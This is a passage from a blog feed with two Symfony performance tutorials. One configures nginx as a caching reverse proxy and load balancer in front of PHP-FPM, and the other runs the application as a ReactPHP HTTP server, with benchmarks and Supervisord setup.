            <id>/2016/04/20/super-speed-sf-nginx.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Put a reverse proxy (for HTTP cache or load balancing purpose) in
  front of your application, to increase its performances.</p>
</blockquote>

<p>HTTP frameworks, such as <a href="https://symfony.com/">Symfony</a>, allow us to build
applications that have the <em>potential</em> to achieve Super Speed.</p>

<p>We've already seen a first way to do so (<a href="/2016/04/13/super-speed-sf-react-php.html">by turning it into a HTTP server</a>),
another way would be to put a reverse proxy in front of it.</p>

<p>In this article we'll take a Symfony application and demonstrate how to do so
using <a href="http://nginx.com/">nginx</a>.</p>

<blockquote>
  <p><strong>Note</strong>: those two ways can be combined, or used independently.</p>
</blockquote>

<h2 id="nginx-with-php-fpm">nginx with PHP-FPM</h2>

<p>The regular PHP application set up is with nginx and <a href="http://php-fpm.org/">PHP-FPM</a>:</p>

<pre><code>sudo apt-get install nginx php7.0-fpm
</code></pre>

<p>PHP-FPM is going to run our PHP application in a <a href="https://en.wikipedia.org/wiki/Shared_nothing_architecture">shared-nothing architecture</a>.
We might want it to be run with <a href="http://symfony.com/doc/current/book/installation.html#book-installation-permissions">the same user as the CLI one</a>
to avoid permissions issues:</p>

<pre><code>; /etc/php/7.0/fpm/pool.d/www.conf

; ...

user = foobar
group = foobar

; ...

listen.owner = foobar
listen.group = foobar

; ...
</code></pre>

<p>We should probably do the same for nginx:</p>

<pre><code># /etc/nginx/nginx.conf
user foobar foobar;

# ...
</code></pre>

<p>Now we should be ready to set up a virtual host for our application:</p>

<pre><code># /etc/nginx/sites-available/super-speed-nginx
server {
    listen 80;
    server_name super-speed-nginx.example.com;
    root /home/foobar/super-speed-nginx/web;

    location / {
        # try to serve file directly, fallback to app.php
        try_files $uri /app.php$is_args$args;
    }

    location ~ ^/app\.php(/|$) {
        fastcgi_pass unix:/run/php/php7.0-fpm.sock;
        fastcgi_split_path_info ^(.+\.php)(/.*)$;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;

        # Prevents URIs that include the front controller. This will 404:
        # http://domain.tld/app.php/some-path
        # Remove the internal directive to allow URIs like this
        internal;
    }

    # Keep your nginx logs with the symfony ones
    error_log /home/foobar/super-speed-nginx/var/logs/nginx_error.log;
    access_log /home/foobar/super-speed-nginx/var/logs/nginx_access.log;
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>:</p>
  
  <ul>
  <li><code>fastcgi_pass</code>: the address of the FastCGI server, can be an IP and port (e.g. <code>127.0.0.1:9000</code> or a socket)</li>
  <li><code>fastcgi_split_path_info</code>: a regex capturing
  
  <ul>
  <li>the script name (here <code>(.+\.php)</code> is a file with the <code>.php</code> extension), used to set <code>$fastcgi_script_name</code></li>
  <li>the path info (here <code>(/.*)</code> is a URL like string), used to set <code>$fastcgi_path_info</code></li>
  </ul></li>
  <li><code>include</code>: includes a file (here <code>/etc/nginx/fastcgi_params</code>)</li>
  <li><code>fastcgi_param</code>: set a FastCGI parameter (check defaults values in <code>/etc/nginx/fastcgi_params</code>)</li>
  </ul>
</blockquote>

<p>Then we'll make sure it's enabled:</p>

<pre><code>sudo ln -s /etc/nginx/sites-available/super-speed-nginx /etc/nginx/sites-enabled/super-speed-nginx
</code></pre>

<p>The only thing missing is a Symfony application! Let's create one using the
<a href="https://github.com/symfony/symfony-standard">Standard Edition</a>:</p>

<pre><code>composer create-project symfony/framework-standard-edition super-speed-nginx
cd super-speed-nginx
SYMFONY_ENV=prod SYMFONY_DEBUG=0 composer install -o --no-dev
</code></pre>

<p>Finally, we can set up the domain name and restart nginx:</p>

<pre><code>echo '127.0.0.1 super-speed-nginx.example.com' | sudo tee --append /etc/hosts
sudo service nginx restart
</code></pre>

<p>Let's check if it works: <a href="http://super-speed-nginx.example.com/">http://super-speed-nginx.example.com/</a>.
If a helpful "Welcome" message is displayed, then everything is fine.</p>

<blockquote>
  <p><strong>Note</strong>: If it doesn't work, check the logs:</p>
  
  <ul>
  <li>application ones in <code>/home/foobar/super-speed-nginx/var/logs</code></li>
  <li>nginx ones in <code>/var/log/nginx</code></li>
  <li>PHP-FPM ones in <code>/var/log/php7.0-fpm.log</code></li>
  </ul>
</blockquote>

<p>Let's have a quick benchmark:</p>

<pre><code>curl 'http://super-speed-nginx.example.com/'
ab -t 10 -c 10 'http://super-speed-nginx.example.com/'
</code></pre>

<p>The result:</p>

<ul>
<li>Requests per second: 146.86 [#/sec] (mean)</li>
<li>Time per request: 68.091 [ms] (mean)</li>
<li>Time per request: 6.809 [ms] (mean, across all concurrent requests)</li>
</ul>

<h2 id="http-cache">HTTP cache</h2>

<p>Compared to <a href="https://httpd.apache.org/">Apache2</a>, nginx performs better at
serving static files and when under high traffic (<a href="https://www.nginx.com/blog/nginx-vs-apache-our-view/">see why</a>).</p>

<p>But our main interest here is in nginx's HTTP caching features.</p>

<p>Applications built with HTTP frameworks (e.g. Symfony) benefit from the HTTP cache
specification, all they need is to add some headers to their response:</p>

<ul>
<li><code>Cache-Control: max-age=60</code> will ask <em>caches</em> to keep a copy for 60 seconds after receiving the response</li>
<li><code>Expires: Fri, 30 Oct 1998 14:19:41 GMT</code> will ask <em>caches</em> to keep a copy of the response until the given date</li>
<li><code>Last-Modified: Tue, 8 Sep 2015 13:35:23 GMT</code> allows <em>caches</em> to keep a copy and check later in the background if there's a more recent "last modified" date</li>
<li><code>Etag: a3e455afd</code> allows <em>caches</em> to keep a copy and check later in the background if there's a different "etag" (<em>e</em>ntity <em>tag</em>)</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: For more information about those headers, check this <a href="/2015/11/26/http-cache.html">HTTP cache article</a>.</p>
</blockquote>

<p>Since nginx sits between clients (e.g. browsers) and the application, it can act
as the <em>cache</em>:</p>

<ul>
<li>if the request doesn't match any copies, ask the application to create a response and make a copy of it (that's a MISS scenario)</li>
<li>if the request matches a fresh copy return it, the application does nothing here (that's a HIT scenario)</li>
<li>if the request matches a stale copy return it, and in the background ask the application to create a response to replace the copy with a fresh one (that's an UPDATING scenario, only if configured)</li>
</ul>

<p>It can even serve stale data when the application is failing (e.g. 500 errors)!</p>

<p>To make use of this feature, we first need to set up nginx:</p>

<pre><code># /etc/nginx/nginx.conf

# ...

http {
    proxy_cache_path /home/foobar/super-speed-nginx/var/nginx levels=1:2 keys_zone=super-speed-nginx:10m max_size=10g inactive=60m use_temp_path=off;

    # ...
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>:</p>
  
  <ul>
  <li><code>levels</code>: sets up the directory depth in the cache folder, <code>2</code> is recommended
  as putting all files in one directory could slow it down</li>
  <li><code>keys_zone</code>: sets up an in memory store for cache keys, to avoid avoid fetching
  them from the disk (cache name associated to the memory size to use)</li>
  <li><code>max-size</code>: sets up the maximum disk size of the cache, when this limit is
  reached least used copies are removed</li>
  <li><code>inactive</code>: sets up the time after which an unused copy can be removed</li>
  <li><code>use_temp_path</code>: enables / disables writing cached copies to a temporary path
  before they're moved to the permanent one, <code>off</code> is recommended to avoid
  unecessary filesystem operations</li>
  </ul>
</blockquote>

<p>Then we need to edit the virtual host by changing the port from <code>80</code> to something
else (e.g. <code>8042</code>) and add a "cache server" in front of it (the cache server will
listen to port <code>80</code>, it's the one exposed to clients):</p>

<pre><code># /etc/nginx/sites-available/super-speed-nginx
server {
    listen 80;
    server_name super-speed-nginx.example.com;

    location / {
        proxy_pass http://super-speed-nginx.example.com:8042;

        proxy_cache super-speed-nginx;
        proxy_cache_key "$scheme://$host$request_uri";
        proxy_cache_lock on;
        proxy_cache_use_stale updating error timeout http_500 http_502 http_503 http_504;
        add_header X-Cache $upstream_cache_status;
    }

    # Keep your nginx logs with the symfony ones
    error_log /home/foobar/super-speed-nginx/var/logs/nginx_cache_error.log;
    access_log /home/foobar/super-speed-nginx/var/logs/nginx_cache_access.log;
}

server {
    listen 8042;
    server_name super-speed-nginx.example.com;
    root /home/foobar/super-speed-nginx/web;

    location / {
        # try to serve file directly, fallback to app.php
        try_files $uri /app.php$is_args$args;
    }

    location ~ ^/app\.php(/|$) {
        fastcgi_pass unix:/run/php/php7.0-fpm.sock;
        fastcgi_split_path_info ^(.+\.php)(/.*)$;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;

        # Prevents URIs that include the front controller. This will 404:
        # http://domain.tld/app.php/some-path
        # Remove the internal directive to allow URIs like this
        internal;
    }

    # Keep your nginx logs with the symfony ones
    error_log /home/foobar/super-speed-nginx/var/logs/nginx_error.log;
    access_log /home/foobar/super-speed-nginx/var/logs/nginx_access.log;
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>:</p>
  
  <ul>
  <li><code>proxy_pass</code>: the address of the server we'd like to forward the requests to</li>
  <li><code>proxy_cache</code>: sets up the name of the cache, it echoes the one used in <code>keys_zone</code></li>
  <li><code>proxy_cache_key</code>: key used to store the copy (the result is converted to md5)</li>
  <li><code>proxy_cache_lock</code>: enables / disables concurent cache writing for a given key</li>
  <li><code>proxy_cache_use_stale</code>: sets up usage of a stale copy
  
  <ul>
  <li><code>updating</code> when the copy is being refreshed</li>
  <li><code>error</code>, <code>timeout</code>, <code>http_5**</code> when the application fails</li>
  </ul></li>
  <li><code>add_header</code>: adds a header to the HTTP Response
  (e.g. the value of <code>$upstream_cache_status</code> which could be <code>MISS</code>, <code>HIT</code>, <code>EXPIRED</code>, etc)</li>
  </ul>
</blockquote>

<p>Now it's the turn of our application. By default Symfony set a
<code>Cache-Control: no-cache</code> header to all responses. Let's change it:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/DefaultController.php

namespace AppBundle\Controller;

use Sensio\Bundle\FrameworkExtraBundle\Configuration\Cache;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;

class DefaultController extends Controller
{
    /**
     * @Route("/", name="homepage")
     * @Cache(maxage="20", public=true)
     */
    public function indexAction(Request $request)
    {
        // replace this example code with whatever you need
        return $this-&gt;render('default/index.html.twig', [
            'base_dir' =&gt; realpath($this-&gt;getParameter('kernel.root_dir').'/..'),
        ]);
    }
}
</code></pre>

<p>To apply those changes, restart nginx and clear symfony cache:</p>

<pre><code>sudo service nginx restart
bin/console cache:clear -e=prod --no-debug
</code></pre>

<p>Now we can check the Response's headers:</p>

<pre><code>curl -I 'http://super-speed-nginx.example.com/'
curl -I 'http://super-speed-nginx.example.com/'
</code></pre>

<p>The first one should contain a <code>X-Cache</code> header set to <code>MISS</code>, while the second
one should be set to <code>HIT</code>.</p>

<p>Let's have a quick benchmark:</p>

<pre><code>curl 'http://super-speed-nginx.example.com/'
ab -t 10 -c 10 'http://super-speed-nginx.example.com/'
</code></pre>

<p>The result:</p>

<ul>
<li>Requests per second: 21994.33 [#/sec] (mean)</li>
<li>Time per request: 0.455 [ms] (mean)</li>
<li>Time per request: 0.045 [ms] (mean, across all concurrent requests)</li>
</ul>

<p>That's around <strong>140</strong> times faster than without cache.</p>

<h2 id="load-balancing">Load balancing</h2>

<p>In the above examples, we've seen some usage of <code>proxy_pass</code> in nginx. It allows
the proxy to forward the request to an "upstream" server (e.g. PHP-FPM).</p>

<p>By providing many upstream servers for one <code>proxy_pass</code>, we enable nginx's load
balancing which can be useful with the ReactPHP set up from the previous article
for example:</p>

<pre><code># /etc/nginx/sites-available/super-speed-nginx
upstream backend  {
    server 127.0.0.1:5500 max_fails=1 fail_timeout=5s;
    server 127.0.0.1:5501 max_fails=1 fail_timeout=5s;
    server 127.0.0.1:5502 max_fails=1 fail_timeout=5s;
    server 127.0.0.1:5503 max_fails=1 fail_timeout=5s;
}

server {
    root /home/foobar/bench-sf-standard/web/;
    server_name localhost;

    location / {
        try_files $uri @backend;
    }

    location @backend {
        proxy_pass http://backend;
        proxy_next_upstream http_502 timeout error;
        proxy_connect_timeout 1;
        proxy_send_timeout 5;
        proxy_read_timeout 5;
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>:</p>
  
  <ul>
  <li><code>proxy_next_upstream</code>: conditions to satisfy in order to forward the request to another server (here errors and timeouts)</li>
  <li><code>proxy_connect_timeout</code>: maximum time when trying to connect to an upstream server</li>
  <li><code>proxy_send_timeout</code>: maximum time when trying to send data to an upstream server</li>
  <li><code>proxy_read_timeout</code>: maximum time when trying to read data from an upstream server</li>
  </ul>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>With a reverse proxy such as nginx, we can decrease the number of calls to our
applications by:</p>

<ul>
<li>enabling HTTP caching (add a HTTP header to responses, use ~50 lines of configuration)</li>
<li>enabling load balancing (use ~30 lines of configuration)</li>
</ul>

<p>This results in a drastic reduction of response time from the point of view of
the client.</p>

<p>Resources:</p>

<ul>
<li><a href="https://www.nginx.com/resources/wiki/start/topics/examples/phpfcgi/">nginx, PHP FastCGI Example</a></li>
<li><a href="https://www.nginx.com/blog/nginx-caching-guide/">nginx a guide to caching</a></li>
<li><a href="https://www.nginx.com/blog/benefits-of-microcaching-nginx/">The Benefits of Microcaching with nginx</a></li>
<li><a href="https://speakerdeck.com/thijsferyn/varnish-or-nginx-symfony-live">Varnish or nginx?</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Super Speed Symfony - ReactPHP]]></title>
            <link href="/2016/04/13/super-speed-sf-react-php.html"/>
            <updated>2016-04-13T00:00:00+01:00</updated>
            <id>/2016/04/13/super-speed-sf-react-php.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Run your application as a HTTP server to increase its performances.</p>
</blockquote>

<p>HTTP frameworks, such as <a href="https://symfony.com/">Symfony</a>, allow us to build
applications that have the <em>potential</em> to achieve Super Speed.</p>

<p>A first way to make use of it is to run our application as a HTTP server.
In this article we'll take a Symfony application and demonstrate how to run it
as HTTP server using <a href="http://reactphp.org/">ReactPHP</a>.</p>

<h2 id="reactphp-http-server">ReactPHP HTTP server</h2>

<p>We're going to use ReactPHP's <a href="https://github.com/reactphp/http">HTTP component</a>:</p>

<pre><code>composer require react/http:^0.5@dev
</code></pre>

<p>It helps us build HTTP servers:</p>

<pre><code class="php">#!/usr/bin/env php
&lt;?php
// bin/react.php

require __DIR__.'/../vendor/autoload.php';

$loop = React\EventLoop\Factory::create();
$socket = new React\Socket\Server($loop);
$http = new React\Http\Server($socket);

$callback = function ($request, $response) {
};

$http-&gt;on('request', $callback);
$socket-&gt;listen(1337);
$loop-&gt;run();
</code></pre>

<p>Starting from the last line, we have:</p>

<ul>
<li><code>$loop-&gt;run()</code>: makes our HTTP server run inside an infinite loop (that's how long running processes work)</li>
<li><code>$socket-&gt;listen(1337)</code>: opens a socket by listening to a port (that's how servers work)</li>
<li><code>$http-&gt;on('request', $callback)</code>: for each HTTP Request received, executes the given callback</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: HTTP servers usually use the <code>80</code> port, but nothing prevents us from
  using a different one. Since there might be some HTTP servers already running
  on our computers (e.g. Apache or nginx), we'll use <code>1337</code> in our examples to
  avoid conflicts.</p>
</blockquote>

<h2 id="hello-world-example">Hello World example</h2>

<p>The application logic has to be written in the callback. For example, here's how
to write a <code>Hello World!</code>:</p>

<pre><code class="php">#!/usr/bin/env php
&lt;?php
// bin/react.php

require __DIR__.'/../vendor/autoload.php';

$loop = React\EventLoop\Factory::create();
$socket = new React\Socket\Server($loop);
$http = new React\Http\Server($socket);

$callback = function ($request, $response) {
    $statusCode = 200;
    $headers = array(
        'Content-Type: text/plain'
    );
    $content = 'Hello World!';

    $response-&gt;writeHead($statusCode, $headers);
    $response-&gt;end($content);
};

$http-&gt;on('request', $callback);
$socket-&gt;listen(1337);
$loop-&gt;run();
</code></pre>

<p>If we run it now:</p>

<pre><code>php bin/react.php
</code></pre>

<p>Then we can visit the page at <a href="http://localhost:1337/">http://localhost:1337/</a>,
and see a <code>Hello World!</code> message: it works!</p>

<h2 id="symfony-example">Symfony example</h2>

<p>Let's recreate the same project, but using the Symfony Standard Edition:</p>

<pre><code>composer create-project symfony/framework-standard-edition super-speed
cd super-speed
composer require react/http:^0.5@dev --ignore-platform-reqs
</code></pre>

<p>Since Symfony is a HTTP framework, wrapping it inside the callback is quite
natural. We only need to:</p>

<ol>
<li>convert the ReactPHP request to a Symfony one</li>
<li>call a <code>HttpKernelInterface</code> implementation to get a Symfony response</li>
<li>convert the Symfony response to a ReactPHP one</li>
</ol>

<p>As we can see, this is quite straightforward:</p>

<pre><code class="php">#!/usr/bin/env php
&lt;?php
// bin/react.php

require __DIR__.'/../app/autoload.php';

$kernel = new AppKernel('prod', false);
$callback = function ($request, $response) use ($kernel) {
    $method = $request-&gt;getMethod();
    $headers = $request-&gt;getHeaders();
    $query = $request-&gt;getQuery();
    $content = $request-&gt;getBody();
    $post = array();
    if (in_array(strtoupper($method), array('POST', 'PUT', 'DELETE', 'PATCH')) &amp;&amp;
        isset($headers['Content-Type']) &amp;&amp; (0 === strpos($headers['Content-Type'], 'application/x-www-form-urlencoded'))
    ) {
        parse_str($content, $post);
    }
    $sfRequest = new Symfony\Component\HttpFoundation\Request(
        $query,
        $post,
        array(),
        array(), // To get the cookies, we'll need to parse the headers
        $request-&gt;getFiles(),
        array(), // Server is partially filled a few lines below
        $content
    );
    $sfRequest-&gt;setMethod($method);
    $sfRequest-&gt;headers-&gt;replace($headers);
    $sfRequest-&gt;server-&gt;set('REQUEST_URI', $request-&gt;getPath());
    if (isset($headers['Host'])) {
        $sfRequest-&gt;server-&gt;set('SERVER_NAME', explode(':', $headers['Host'])[0]);
    }
    $sfResponse = $kernel-&gt;handle($sfRequest);

    $response-&gt;writeHead(
        $sfResponse-&gt;getStatusCode(),
        $sfResponse-&gt;headers-&gt;all()
    );
    $response-&gt;end($sfResponse-&gt;getContent());
    $kernel-&gt;terminate($request, $response);
};

$loop = React\EventLoop\Factory::create();
$socket = new React\Socket\Server($loop);
$http = new React\Http\Server($socket);

$http-&gt;on('request', $callback);
$socket-&gt;listen(1337);
$loop-&gt;run();
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Request conversion code from React to Symfony has been borrowed from
  <a href="https://github.com/M6Web/PhpProcessManagerBundle/blob/dcb7d971250ec504821dca040e6e2effbdb5adc5/Bridge/HttpKernel.php#L102">M6Web PhpProcessManagerBundle</a>.</p>
</blockquote>

<p>And as easy as that, we can run it:</p>

<pre><code>php bin/react.php
</code></pre>

<p>Finally we can visit the page at <a href="http://localhost:1337/">http://localhost:1337/</a>,
and see a helpful <code>Welcome</code> message: it works!</p>

<h2 id="benchmarking-and-profiling">Benchmarking and Profiling</h2>

<p>It's now time to check if we've achieved our goal: did we improve performances?</p>

<h3 id="regular-version">Regular version</h3>

<p>In order to find out, we can first benchmark the regular Symfony application:</p>

<pre><code>SYMFONY_ENV=prod SYMFONY_DEBUG=0 composer install -o --no-dev --ignore-platform-reqs
php -S localhost:1337 -t web&amp;
curl 'http://localhost:1337/app.php/'
ab -c 1 -t 10 'http://localhost:1337/app.php/'
</code></pre>

<p>We get the following results:</p>

<ul>
<li>Requests per second: 273.76 #/sec</li>
<li>Time per request: 3.653 ms</li>
</ul>

<p>We can also profile the application using <a href="http://blackfire.io/">Blackfire</a> to
discover bottlenecks:</p>

<pre><code>blackfire curl 'http://localhost:1337/app.php/'
killall -9 php
</code></pre>

<p>We get the following results:</p>

<ul>
<li>Wall Time: 12.5ms</li>
<li>CPU Time: 11.4ms</li>
<li>I/O Time: 1.09ms</li>
<li>Memory: 2.2MB</li>
</ul>

<p>Let's have a look at the graph:</p>

<iframe width="960px" height="960px" frameborder="0" allowfullscreen src="https://blackfire.io/profiles/53f653ad-1770-4c89-93c4-1ff758b2b29e/embed"></iframe>

<p>As expected from an empty application without any logic, we can clearly see that
autoloading is the number 1 bottleneck, with the Dependency Injection Container
being its main caller (for which the EventDispatcher is the main caller).</p>

<h3 id="reactphp-version">ReactPHP version</h3>

<p>Before we continue our benchmarks for the ReactPHP version of our application,
we'll need to modify it a bit in order to support Blackfire:</p>

<pre><code>#!/usr/bin/env php
&lt;?php
// bin/react.php

require __DIR__.'/../app/autoload.php';

$kernel = new AppKernel('prod', false);
$callback = function ($request, $response) use ($kernel) {
    $method = $request-&gt;getMethod();
    $headers = $request-&gt;getHeaders();
    $enableProfiling = isset($headers['X-Blackfire-Query']);
    if ($enableProfiling) {
        $blackfire = new Blackfire\Client();
        $probe = $blackfire-&gt;createProbe();
    }
    $query = $request-&gt;getQuery();
    $content = $request-&gt;getBody();
    $post = array();
    if (in_array(strtoupper($method), array('POST', 'PUT', 'DELETE', 'PATCH')) &amp;&amp;
        isset($headers['Content-Type']) &amp;&amp; (0 === strpos($headers['Content-Type'], 'application/x-www-form-urlencoded'))
    ) {
        parse_str($content, $post);
    }
    $sfRequest = new Symfony\Component\HttpFoundation\Request(
        $query,
        $post,
        array(),
        array(), // To get the cookies, we'll need to parse the headers
        $request-&gt;getFiles(),
        array(), // Server is partially filled a few lines below
        $content
    );
    $sfRequest-&gt;setMethod($method);
    $sfRequest-&gt;headers-&gt;replace($headers);
    $sfRequest-&gt;server-&gt;set('REQUEST_URI', $request-&gt;getPath());
    if (isset($headers['Host'])) {
        $sfRequest-&gt;server-&gt;set('SERVER_NAME', explode(':', $headers['Host'])[0]);
    }
    $sfResponse = $kernel-&gt;handle($sfRequest);

    $response-&gt;writeHead(
        $sfResponse-&gt;getStatusCode(),
        $sfResponse-&gt;headers-&gt;all()
    );
    $response-&gt;end($sfResponse-&gt;getContent());
    $kernel-&gt;terminate($request, $response);
    if ($enableProfiling) {
        $blackfire-&gt;endProbe($probe);
    }
};

$loop = React\EventLoop\Factory::create();
$socket = new React\Socket\Server($loop);
$http = new React\Http\Server($socket);

$http-&gt;on('request', $callback);
$socket-&gt;listen(1337);
$loop-&gt;run();
</code></pre>

<p>This requires Blackfire's SDK:</p>

<pre><code>SYMFONY_ENV=prod SYMFONY_DEBUG=0 composer require -o --update-no-dev --ignore-platform-reqs 'blackfire/php-sdk'
</code></pre>

<p>Now let's run the benchmarks:</p>

<pre><code>php bin/react.php&amp;
curl 'http://localhost:1337/'
ab -c 1 -t 10 'http://localhost:1337/'
</code></pre>

<p>We get the following results:</p>

<ul>
<li>Requests per second: 2098.17 #/sec</li>
<li>Time per request: 0.477 ms</li>
</ul>

<p>Finally we can profile it:</p>

<pre><code>curl -H 'X-Blackfire-Query: enable' 'http://localhost:1337/'
killall -9 php
</code></pre>

<p>We get the following results:</p>

<ul>
<li>Wall Time: 1.51ms</li>
<li>CPU Time: 1.51ms</li>
<li>I/O Time: 0.001ms</li>
<li>Memory: 0.105MB</li>
</ul>

<p>Let's have a look at the graph:</p>

<iframe width="960px" height="960px" frameborder="0" allowfullscreen src="https://blackfire.io/profiles/2ca1084f-ce66-4073-b2b8-4a82ed7e4c76/embed"></iframe>

<p>This time we can see that most of the time is spent in event listeners, which is
expected since that's the only lace in our empty application where there's any
logic.</p>

<h3 id="comparison">Comparison</h3>

<p>There's no denial, we've made use of our <em>potential</em> to achieve Super Speed: by
converting our application into a HTTP server using ReactPHP we improved our
Symfony application by <strong>8</strong>!</p>

<h2 id="alternatives-to-reactphp">Alternatives to ReactPHP</h2>

<p>After running some silly benchmarks, we've picked ReactPHP as it was seemingly
yielding better results:</p>

<p><img src="/images/super-speed-sf-react-php-graph.png" alt="ReactPHP is faster than Aerys which is faster than IcicleIO which is faster than PHP FastCGI" /></p>

<p>However since we don't actually make use of the <em>true</em> potential of any of those
projects, it's worth mentioning them and their differences:</p>

<ul>
<li><a href="http://phpfastcgi.github.io">PHPFastCGI</a> aims at building a long running FastCGI application, rather than a HTTP server
(see <a href="http://andrewcarteruk.github.io/slides/breaking-boundaries-with-fastcgi/">Breaking Boundaries with FastCGI</a>)</li>
<li><a href="http://icicle.io/">IcicleIO</a> Icicle is a library for writing asynchronous code using synchronous coding techniques,
it's powered by Generators/Coroutines</li>
<li><a href="http://amphp.org/">Amp</a> is a non-blocking concurrency framework
(see <a href="http://blog.kelunik.com/2015/09/20/getting-started-with-amp.html">Getting started with Amp</a>)

<ul>
<li>its Application Server component, <a href="http://amphp.org/docs/aerys/">Aerys</a>, also supports HTTP/2
(see <a href="http://blog.kelunik.com/2015/10/21/getting-started-with-aerys.html">Getting started with Aerys</a>)</li>
</ul></li>
</ul>

<p>Not mentioned in the graph, there's also:</p>

<ul>
<li><a href="http://appserver.io/">appserver.io</a> a full Application Server, powered by threads
(see <a href="http://www.sitepoint.com/appserver-a-production-ready-php-based-server/">Appserver – a Production-Ready PHP-Based Server</a>)

<ul>
<li>benchmarks showed it was actually slower than vanilla Symfony, which might be due to configuration issues</li>
</ul></li>
<li><a href="https://github.com/php-pm/php-pm">PHP-PM</a>, manages ReactPHP processes
(see <a href="http://marcjschmidt.de/blog/2014/02/08/php-high-performance.html">Bring High Performance Into Your PHP App</a>)

<ul>
<li>benchmarks showed it wasn't much faster than vanilla Symfony, which might be due to configuration issues</li>
</ul></li>
<li><a href="https://github.com/M6Web/PhpProcessManagerBundle">M6Web PHP process manager Bundle</a>,
provides your Symfony application as a ReactPHP server via a command

<ul>
<li>benchmarks showed it was a bit slower than vanilla ReactPHP</li>
</ul></li>
</ul>

<blockquote>
  <p><strong>Note</strong>: To check the benchmarks, have a look at <a href="https://github.com/gnugat-examples/bench-sf-standard">Bench Symfony Standard</a>.
  Each project has its own branch with the set up used and the benchmarks results.</p>
</blockquote>

<h2 id="why-does-reactphp-improve-performances%3F">Why does ReactPHP improve performances?</h2>

<p>To understand how turning our application into a HTTP server can increase
performances, we have to take a look how the alternative works. In a regular
stack (e.g. "Apache / mod_php" or "nginx / PHP-FPM"), for each HTTP request:</p>

<ol>
<li>a HTTP server (e.g. Apache, nginx, etc) receives the Request</li>
<li>it starts a new PHP process, <a href="http://php.net/manual/en/language.variables.superglobals.php">variable super globals</a>,
(e.g. <code>$_GET</code>, <code>$_POST</code>, etc) are created using data from the Request</li>
<li>the PHP process executes our code and produces an output</li>
<li>the HTTP server uses the output to create a Response, and <strong>terminates the PHP process</strong></li>
</ol>

<p>Amongst the advantages this brings, we can list not having to worry (too much) about:</p>

<ul>
<li>memory consumption: each new process starts with a fresh empty memory which is freed once it exits (memory leaks can be ignored)</li>
<li>fatal errors: a process crashing won't affect other processes (but if they encounter the same error they'll also crash)</li>
<li>statefullness: static and global variables are not shared between processes</li>
<li>code updates: each new process starts with the new code</li>
</ul>

<p>Killing the PHP process once the Response is sent means that nothing is shared
between two Requests (hence the name "shared-nothing" architecture).</p>

<p>One of the biggest disadvantages of such a set up is low performance., because
creating a PHP process for each HTTP Requests means adding a bootstraping footprint
which includes:</p>

<ul>
<li>starting a process</li>
<li>starting PHP (loading configuration, starting extensions, etc)</li>
<li>starting our application (loading configuration, initializing services, autoloading, etc)</li>
</ul>

<p>With ReactPHP we keep our application alive between requests so we only execute
this bootstrap once when starting the server: the footprint is absent from Requests.</p>

<p>However now the tables are turned: we're vulnerable to memory consumption, fatal error,
statefulness and code update worries.</p>

<h2 id="making-reactphp-production-ready">Making ReactPHP production ready</h2>

<p>So turning our application into a HTTP server means that way have to be mindful
developers: we have to make it stateless and we need to restart the server for
each updates.</p>

<p>Regarding fatal errors and memory consumption, there is a simple strategy to we
can use to mitigate their impact: automatically restart the server once it's stopped.</p>

<p>That's usually a feature included in load balancers (for example in PHP-PM, Aerys
and appserver.io), but we can also rely on <a href="http://supervisord.org/">Supervisord</a>.</p>

<p>On Debian based distributions it can easily be installed:</p>

<pre><code>sudo apt-get install -y supervisor
</code></pre>

<p>Here's a configuration example (create a <code>*.conf</code> file in <code>/etc/supervisord/conf.d</code>):</p>

<pre><code>[program:bench-sf-standard]
command=php bin/react.php
environment=PORT=55%(process_num)02d
process_name=%(program_name)s-%(process_num)d
numprocs=4
directory=/home/foobar/bench-sf-standard
umask=022
user=foobar
stdout_logfile=/var/log/supervisord/%(program_name)s-%(process_num)d.log              ; stdout log path, NONE for none; default AUTO
stderr_logfile=/var/log/supervisord/%(program_name)s-%(process_num)d-error.log        ; stderr log path, NONE for none; default AUTO
autostart=true
autorestart=true
startretries=3
</code></pre>

<p>It will:</p>

<ul>
<li>run 4 ReactPHP servers on ports <code>5500</code>, <code>5501</code>, <code>5502</code> and <code>5503</code></li>
<li>it restarts them automatically when they crash (will try a maximum of 3 times, then give up)</li>
</ul>

<p>Here's a nice resource for it: <a href="https://serversforhackers.com/monitoring-processes-with-supervisord">Monitoring Processes with Supervisord</a>.</p>

<p>While PHP itself doesn't leak memory, our application might. The more memory a PHP
application uses, the slower it will get, until it reaches the limit and crashes.
As a safeguard, we can:</p>

<ul>
<li>stop the server after X requests (put a counter in the callback and once the server stops, Supervisord will restart a new one)</li>
<li>stop the server once a given memory limit is reached (then supervisord will restart a new one)</li>
</ul>

<p>But a better way would be to actually <a href="https://speakerdeck.com/bitone/hunting-down-memory-leaks-with-php-meminfo">hunt down memoy leaks, for example with PHP meminfo</a>.</p>

<p>We also need to know a bit more about the tools we use such as Doctrine ORM or
Monolog to avoid pitfalls (or use <a href="https://github.com/LongRunning/LongRunning#longrunning">the LongRunning library</a>
to clean those automatically for us).</p>

<h2 id="conclusion">Conclusion</h2>

<p>It only takes ~50 lines to turn our application into a HTTP server, ReactPHP is
indeed a powerful library.</p>

<p>In fact we haven't even used its main features and still managed to greatly
improve performances! But these will be the subject of a different article.</p>

<blockquote>
  <p><strong>Note</strong>: Read-only APIs are a good candidate for such a set up.</p>
</blockquote>

<p>In the next blog post, we'll have a look at a different way (not that we can't
combine both) to achieve the Super Speed potential of our applications built
with HTTP frameworks like Symfony.</p>

<p>In the meantime, here's some resources about turning our applications into HTTP
applications:</p>

<ul>
